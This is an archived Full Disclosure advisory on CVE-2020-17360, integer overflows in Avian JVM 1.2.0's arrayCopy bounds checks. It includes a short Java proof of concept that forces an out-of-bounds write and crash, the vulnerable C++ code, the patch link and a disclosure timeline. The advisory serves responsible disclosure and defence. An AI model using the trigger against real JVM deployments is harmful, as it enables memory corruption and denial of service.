Avian JVM vm::arrayCopy() Multiple Integer Overflows

Related Vulnerabilities: CVE-2020-17360  
                							

                <!--X-Body-Begin-->
<!--X-User-Header-->
<a href="/fulldisclosure/"><img src="/images/fulldisclosure-logo.png" class="l-logo right" alt="fulldisclosure logo" width="80"></a>
<h2 class="m-list"><a href="/fulldisclosure/">Full Disclosure</a>
mailing list archives</h2>
<!--X-User-Header-End-->
<!--X-TopPNI-->
<div class="nav-bar">
<div class="nav-link">
<a href="9"><img src="/images/left-icon-16x16.png" alt="Previous" width="16" height="16"></a>
<a href="date.html#8">By Date</a>
<a href="10"><img src="/images/right-icon-16x16.png" alt="Next" width="16" height="16"></a>
</div>
<div class="nav-link">
<a href="9"><img src="/images/left-icon-16x16.png" alt="Previous" width="16" height="16"></a>
<a href="index.html#8">By Thread</a>
<a href="10"><img src="/images/right-icon-16x16.png" alt="Next" width="16" height="16"></a>
</div>
<form class="nst-search center" action="/search/fulldisclosure">
<input class="nst-search-q" name="q" type="search" placeholder="List Archive Search">
<button class="nst-search-button" title="Search">
<img style="width:100%;aspect-ratio:1/1;" alt="" aria-hidden="true" src="/shared/images/nst-icons.svg#search">
</button>
</form>

</div>

<!--X-TopPNI-End-->
<!--X-MsgBody-->
<!--X-Subject-Header-Begin-->
<h1 class="m-title">Avian JVM vm::arrayCopy() Multiple Integer Overflows</h1>
<hr>
<!--X-Subject-Header-End-->
<!--X-Head-of-Message-->


<em>From</em>: Pietro Oliva via Fulldisclosure &lt;fulldisclosure () seclists org&gt;


<em>Date</em>: Mon, 10 Aug 2020 21:37:29 +0000


<!--X-Head-of-Message-End-->
<!--X-Head-Body-Sep-Begin-->
<hr>
<!--X-Head-Body-Sep-End-->
<!--X-Body-of-Message-->
<pre style="margin: 0em;">Vulnerability title: Avian JVM vm::arrayCopy() Multiple Integer Overflows
Author: Pietro Oliva
CVE: CVE-2020-17360
Vendor: ReadyTalk
Product: Avian JVM 
Affected version: 1.2.0

Description:
The issue is located in the vm::arrayCopy method defined in classpath-common.h,
where multiple boundary checks are performed to prevent out-of-bounds memory
read/write. Two of those boundary checks contain an integer overflow which leads
to those same checks being bypassed and out-of-bounds read/write.   

Impact:
Attackers could exploit this vulnerability to read/write arbitrary content in
the JVM memory. This could in turn result in denial of service, memory 
disclosure, or arbitrary code execution in the context of the JVM.

Exploitation:
The following PoC would trigger an out-of-bounds write and crash of Avian JVM:

import java.lang.*;

public class poc {

    public static void main(String[] args) {
        byte[] src = "This is src".getBytes();
        byte[] dst = "This is dst".getBytes();

        // Triggering out-of-bounds write via integer overflow on System.arraycopy
        System.arraycopy(src, 0, dst, 0x7fffffff, 1);
    }
}


Evidence:

void arrayCopy(Thread* t,
               object src,
               int32_t srcOffset,
               object dst,
               int32_t dstOffset,
               int32_t length)
{
  if (LIKELY(src and dst)) {
    if (LIKELY(compatibleArrayTypes(
            t, objectClass(t, src), objectClass(t, dst)))) {
      unsigned elementSize = objectClass(t, src)-&gt;arrayElementSize();

      if (LIKELY(elementSize)) {
        intptr_t sl = fieldAtOffset&lt;uintptr_t&gt;(src, BytesPerWord);
        intptr_t dl = fieldAtOffset&lt;uintptr_t&gt;(dst, BytesPerWord);
        if (LIKELY(length &gt; 0)) {
          if (LIKELY(srcOffset &gt;= 0 and srcOffset + length &lt;= sl // integer OF
/*integer overflow*/ and dstOffset &gt;= 0 and dstOffset + length &lt;= dl)) {
            uint8_t* sbody = &amp;fieldAtOffset&lt;uint8_t&gt;(src, ArrayBody);
            uint8_t* dbody = &amp;fieldAtOffset&lt;uint8_t&gt;(dst, ArrayBody);
            if (src == dst) {
              memmove(dbody + (dstOffset * elementSize),
                      sbody + (srcOffset * elementSize),
                      length * elementSize);
            } else {
              memcpy(dbody + (dstOffset * elementSize),
                     sbody + (srcOffset * elementSize),
                     length * elementSize);
            }

            if (objectClass(t, dst)-&gt;objectMask()) {
              mark(t, dst, ArrayBody + (dstOffset * BytesPerWord), length);
            }

            return;
          } else {
            throwNew(t, GcIndexOutOfBoundsException::Type);
          }
        } else {
          return;
        }
      }
    }
  } else {
    throwNew(t, GcNullPointerException::Type);
    return;
  }

  throwNew(t, GcArrayStoreException::Type);
}

As can be seen in the two lines commented above, offset+length can overflow and
the size checks would be bypassed. Overflowing srcOffset+length would trigger an
out-of-bounds read in either memmove or memcpy, while overflowing dstOffset + 
length would trigger an out-of-bounds write in the same methods.

Mitigating factors:
Since both offsets and length need to be positive integers, there is a limited
range of memory where an attacker could read or write as a result of this
vulnerability.

Remediation:
A patch has been merged in the master branch:
<a rel="nofollow" href="https://github.com/ReadyTalk/avian/pull/571">https://github.com/ReadyTalk/avian/pull/571</a>

Disclosure timeline:
3rd August 2020  -  Vulnerability reported.
3rd August 2020  -  Vulnerability acknowledged.
4th August 2020  -  CVE request sent to Mitre.
5th August 2020  -  CVE assigned.
10th August 2020 -  Proposed patch via pull request.
10th August 2020 -  Patch approved and merged after changes.
10th August 2020 -  Vulnerability details shared on fulldisclosure.

_______________________________________________
Sent through the Full Disclosure mailing list
<a rel="nofollow" href="https://nmap.org/mailman/listinfo/fulldisclosure">https://nmap.org/mailman/listinfo/fulldisclosure</a>
Web Archives &amp; RSS: <a rel="nofollow" href="http://seclists.org/fulldisclosure/">http://seclists.org/fulldisclosure/</a>

</pre>
<!--X-Body-of-Message-End-->
<!--X-MsgBody-End-->
<!--X-Follow-Ups-->
<hr>
<!--X-Follow-Ups-End-->
<!--X-References-->
<!--X-References-End-->
<!--X-BotPNI-->
<div class="nav-bar">
<div class="nav-link">
<a href="9"><img src="/images/left-icon-16x16.png" alt="Previous" width="16" height="16"></a>
<a href="date.html#8">By Date</a>
<a href="10"><img src="/images/right-icon-16x16.png" alt="Next" width="16" height="16"></a>
</div>
<div class="nav-link">
<a href="9"><img src="/images/left-icon-16x16.png" alt="Previous" width="16" height="16"></a>
<a href="index.html#8">By Thread</a>
<a href="10"><img src="/images/right-icon-16x16.png" alt="Next" width="16" height="16"></a>
</div>
</div>
<h3 class="m-thread">Current thread:</h3>
<ul class="thread">
<li><strong>Avian JVM vm::arrayCopy() Multiple Integer Overflows</strong> <em>Pietro Oliva via Fulldisclosure (Aug 11)</em>
</li></ul>


<!--X-BotPNI-End-->
<!--X-User-Footer-->
<!--X-User-Footer-End-->
<p>